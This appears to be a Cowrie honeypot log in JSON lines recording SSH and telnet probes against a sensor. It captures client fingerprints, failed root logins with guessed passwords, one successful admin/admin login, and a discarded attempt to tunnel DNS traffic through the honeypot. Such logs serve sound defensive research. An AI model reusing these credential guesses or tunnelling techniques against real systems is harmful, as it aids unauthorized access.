{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:9f:e6:59:6e:57:a2:53:54:63:09:10:af:f2:0e:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjEc9FXJUWdlnd/IiYQjDCWVlwYKFKQJ1xiHlC7PiA6KYe/7mRFShoRg1WXW14ivgfq99elkDWt7EIV0WqJFr6TdjMQ4vYLQwQyK4BxSRV3IrjwoQRl0PeMjir2Q5Pq4sjVs3cJykI6Rwgm0gwdRTCOD2evLcXo3/cNFGJAAAn0oZQqrUpfTMhb0hFMbVgbJ5Wkc9+emhkJEqgwmMUqf394KpsVnmxMpTt/iRDphEKVJZ7IhihqTBtQ7+sro7pP60p6Q4IPOuQaujmBNKYZ7PUMIHlZwPIbPdspwAv/yLcEPsWrhUlrgnJZ7vAuzpobZEBWBbjPRLce2FA25cTY79f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:9f:e6:59:6e:57:a2:53:54:63:09:10:af:f2:0e:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:06.136124Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:9f:e6:59:6e:57:a2:53:54:63:09:10:af:f2:0e:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjEc9FXJUWdlnd/IiYQjDCWVlwYKFKQJ1xiHlC7PiA6KYe/7mRFShoRg1WXW14ivgfq99elkDWt7EIV0WqJFr6TdjMQ4vYLQwQyK4BxSRV3IrjwoQRl0PeMjir2Q5Pq4sjVs3cJykI6Rwgm0gwdRTCOD2evLcXo3/cNFGJAAAn0oZQqrUpfTMhb0hFMbVgbJ5Wkc9+emhkJEqgwmMUqf394KpsVnmxMpTt/iRDphEKVJZ7IhihqTBtQ7+sro7pP60p6Q4IPOuQaujmBNKYZ7PUMIHlZwPIbPdspwAv/yLcEPsWrhUlrgnJZ7vAuzpobZEBWBbjPRLce2FA25cTY79f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:06.139753Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:06.236381Z","src_ip":"195.26.87.217","session":"4a9c4fccffd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59550,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b200336b63","protocol":"telnet","message":"New connection: 172.81.62.90:59550 (159.203.135.109:23) [session: a4b200336b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:11.363379Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55552,"dst_ip":"10.17.0.5","dst_port":22,"session":"f06e85be0179","protocol":"ssh","message":"New connection: 80.94.92.184:55552 (10.17.0.5:22) [session: f06e85be0179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:15.120992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:15.125491Z","src_ip":"80.94.92.184","session":"f06e85be0179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:15.234559Z","src_ip":"80.94.92.184","session":"f06e85be0179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:20.144912Z","src_ip":"80.94.92.184","session":"f06e85be0179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.105.12.222","src_port":52330,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d98f7314452","protocol":"ssh","message":"New connection: 39.105.12.222:52330 (159.203.135.109:22) [session: 4d98f7314452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:22.457364Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:22.474000Z","src_ip":"39.105.12.222","session":"4d98f7314452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.495683431625366,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:25.981887Z","src_ip":"128.199.8.54","session":"a9d7077923e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.805102825164795,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:30.324254Z","src_ip":"128.199.8.54","session":"1397eb6994dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51248,"dst_ip":"10.17.0.5","dst_port":23,"session":"40dea73150b6","protocol":"telnet","message":"New connection: 172.81.62.90:51248 (10.17.0.5:23) [session: 40dea73150b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:38.787925Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38968,"dst_ip":"159.203.135.109","dst_port":23,"session":"2496dfcce965","protocol":"telnet","message":"New connection: 172.81.62.90:38968 (159.203.135.109:23) [session: 2496dfcce965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:39.758539Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33082,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e912f53d175","protocol":"ssh","message":"New connection: 109.237.96.109:33082 (159.203.135.109:22) [session: 4e912f53d175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:44.028275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:44.039027Z","src_ip":"109.237.96.109","session":"4e912f53d175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:44.137712Z","src_ip":"109.237.96.109","session":"4e912f53d175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"56tyghbn","message":"login attempt [root/56tyghbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:44.502604Z","src_ip":"109.237.96.109","session":"4e912f53d175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:45.598168Z","src_ip":"109.237.96.109","session":"4e912f53d175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47382,"dst_ip":"10.17.0.5","dst_port":22,"session":"14bb2735320a","protocol":"ssh","message":"New connection: 103.77.242.62:47382 (10.17.0.5:22) [session: 14bb2735320a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:46.385023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:46.388812Z","src_ip":"103.77.242.62","session":"14bb2735320a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:46.632912Z","src_ip":"103.77.242.62","session":"14bb2735320a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220482","message":"login attempt [root/220482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:47.367643Z","src_ip":"103.77.242.62","session":"14bb2735320a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:48.614090Z","src_ip":"103.77.242.62","session":"14bb2735320a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.066407203674316,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:50.429631Z","src_ip":"172.81.62.90","session":"a4b200336b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4946,"dst_ip":"10.17.0.5","dst_port":22,"session":"c63497d54ff5","protocol":"ssh","message":"New connection: 87.251.64.176:4946 (10.17.0.5:22) [session: c63497d54ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:54.621053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:54.624477Z","src_ip":"87.251.64.176","session":"c63497d54ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:54.717864Z","src_ip":"87.251.64.176","session":"c63497d54ff5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:55.002833Z","src_ip":"87.251.64.176","session":"c63497d54ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:55.099231Z","session":"c63497d54ff5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:55.193359Z","src_ip":"87.251.64.176","session":"c63497d54ff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:30:55.425133Z","src_ip":"87.251.64.176","session":"c63497d54ff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.1075177192688,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:31:13.865907Z","src_ip":"172.81.62.90","session":"2496dfcce965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.480767250061035,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:31:17.268600Z","src_ip":"172.81.62.90","session":"40dea73150b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.176.31.218","src_port":62847,"dst_ip":"159.203.135.109","dst_port":22,"session":"964f5edf9ad3","protocol":"ssh","message":"New connection: 193.176.31.218:62847 (159.203.135.109:22) [session: 964f5edf9ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:32:19.349456Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:32:19.429637Z","src_ip":"193.176.31.218","session":"964f5edf9ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.43.134.254","src_port":7377,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9eeb55d4d2","protocol":"telnet","message":"New connection: 171.43.134.254:7377 (10.17.0.5:23) [session: 6c9eeb55d4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:10.811639Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47530,"dst_ip":"159.203.135.109","dst_port":23,"session":"23e3ec2ea38a","protocol":"telnet","message":"New connection: 172.81.62.90:47530 (159.203.135.109:23) [session: 23e3ec2ea38a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:29.355505Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.14.254.56","src_port":14226,"dst_ip":"159.203.135.109","dst_port":22,"session":"321ed2e593b9","protocol":"ssh","message":"New connection: 31.14.254.56:14226 (159.203.135.109:22) [session: 321ed2e593b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:32.473149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:33.086205Z","src_ip":"31.14.254.56","session":"321ed2e593b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:33.089744Z","src_ip":"31.14.254.56","session":"321ed2e593b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:34.098912Z","src_ip":"31.14.254.56","session":"321ed2e593b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.38180375099182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:41.193351Z","src_ip":"171.43.134.254","session":"6c9eeb55d4d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52392,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec0dcd867a26","protocol":"telnet","message":"New connection: 107.6.151.170:52392 (159.203.135.109:23) [session: ec0dcd867a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:46.187444Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":37856,"dst_ip":"159.203.135.109","dst_port":22,"session":"f460d11cfcad","protocol":"ssh","message":"New connection: 103.15.222.183:37856 (159.203.135.109:22) [session: f460d11cfcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:46.913101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:46.916689Z","src_ip":"103.15.222.183","session":"f460d11cfcad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:33:47.168604Z","src_ip":"103.15.222.183","session":"f460d11cfcad","protocol":"ssh"}
